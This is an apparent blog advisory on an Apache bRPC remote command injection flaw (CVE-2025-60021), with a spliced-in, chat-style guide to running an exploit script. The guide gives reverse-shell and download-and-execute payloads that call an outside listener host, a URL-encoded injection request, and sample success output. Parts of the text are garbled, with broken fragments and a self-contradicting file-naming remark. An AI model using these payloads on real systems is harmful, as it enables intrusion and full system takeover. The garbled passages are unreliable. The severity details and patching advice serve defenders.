
CVE-2025-60021

CVE-2025-60021 is a critical remote command injection vulnerability found in the heap profiler built-in service (/pprof/heap) of Apache bRPC versions earlier than 1.15.0, allowing unauthenticated attackers to run arbitrary OS commands. (NVD)
| Attribute | Information |
|---|
| Name / ID | CVE-2025-60021 |
| Product | Apache bRPC (all platforms) |
| Affected Versions | < 1.15.0 |
| Published Date | 16 Jan 2026 (NVD) |
| Vulnerability Type | Remote Command Injection (CWE-77) (NVD) |
| Endpoint | /pprof/heap |
| Trigger | Unsanitized extra_options parameter |
| Root Cause | Input not validated before executing as OS command (openwall.com) |
❗Attackers can remotely inject commands simply by manipulating this profiling parameter.
🔥 Severity Rating: Critical
📊 CVSS v3.1 Base Score: 9.8 / 10
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
| Impact Category | Effect | |
|---|---|---|
| Confidentiality | High | |
| Integrity | High | |
| Availability | High | |
| Attack Vector | Network | |
| Privileges | None required | |
| User Interaction | None needed | (INCIBE) |
👉 This means attackers can execute arbitrary commands remotely with no login — a worst-case scenario for exposed services.
/pprof/heap) meant for memory analysis (jemalloc). (openwall.com)extra_options parameter. Instead of sanitizing it, bRPC passes it directly to the OS shell. (openwall.com)This assumes you have the script saved as CVE-2025-60021.py (even though the real CVE is 2025-60021—feel free to rename it). It's a Python 3 script for demonstrating the remote command injection vulnerability in Apache bRPC's heap profiler. Only run this on systems you own or have explicit written permission to test—exploiting without authorization is illegal.
Python Environment: Ensure you have Python 3 installed (e.g., 3.6+). The script uses built-in modules plus requests and argparse (which are standard or easy to install).
Install Dependencies: If not already present, install the requests library:
pip install requests
Target Setup: You need a vulnerable Apache bRPC server:
http://localhost:8060 or a remote IP/port).
If testing locally, set up a vulnerable bRPC instance (e.g., via Docker or source build—refer to Apache bRPC docs).Permissions: Run with sudo only if needed for network access or privileges; otherwise, plain python3 is fine.
Copy the PoC code I provided earlier into a file named CVE-2025-60021.py. Make it executable if desired:
chmod +x CVE-2025-60021.py
The script takes two required positional arguments:
target: The URL of the vulnerable bRPC server (e.g., http://192.168.1.100:8060 or http://targets:8060—fix any typos like missing scheme or invalid host).cmd: The command to execute on the target (e.g., "id" for user info, or something more complex like "curl http://your-server/reverse-shell.sh | bash" for a reverse shell). Use && or ; to chain multiple commands.Open a terminal (e.g., in Kali Linux as you're using) and execute it with your target and command. Example commands:
Basic test (get system info):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Reverse shell example (replace your-listener-ip and port; set up a listener like nc -lvnp 4444 first):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
If using HTTPS or a different port, adjust the URL accordingly (e.g., https://target:443—the script handles it, but add --insecure if cert issues).
Success Indicators:
uid=0(root)... if it ran id).Failure Indicators (like what you saw):
--enable_heap_profiler=true) and restart the server.cmd argument—always include it.echo "test" > /tmp/proof.txt) and check the file on the target.; doesn't work, try && or | for chaining. URL-encode special chars if needed (script handles most)./pprof/heap.If the exploit succeeded on a vulnerable target (e.g., heap profiler enabled, unpatched bRPC <1.15.0), the output in your terminal would look something like this (exact details depend on the command's stdout and server config):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
The key signs: 200 OK status, and if your command (like id && whoami && uname -a) produces output, it might appear in the response body (mixed with profiler junk). For silent commands (e.g., reverse shell), check the target server or your listener for activity—no direct terminal confirmation beyond the 200. 😈
/pprof/heap from untrusted networks.✔ Attackers don’t need credentials. ✔ It works over the network. ✔ It affects all platforms using vulnerable bRPC. ✔ It can lead to full system compromise.
Businesses using bRPC for critical services (e.g., search, storage, machine learning pipelines) are especially at risk because this flaw turns a diagnostic tool into an attack vector. (Daily CyberSecurity)
⚠ EPSS (Exploit Prediction): Some feeds indicate low exploit observation so far, but the ease of exploitation means it could be leveraged in real attacks quickly. (Tenable®)
📌 Classification: CWE-77 — Improper Neutralization of Special Elements in a Command (Command Injection). (NVD)
If you’re running Apache bRPC in production — patch immediately and restrict access to diagnostic endpoints to reduce risk.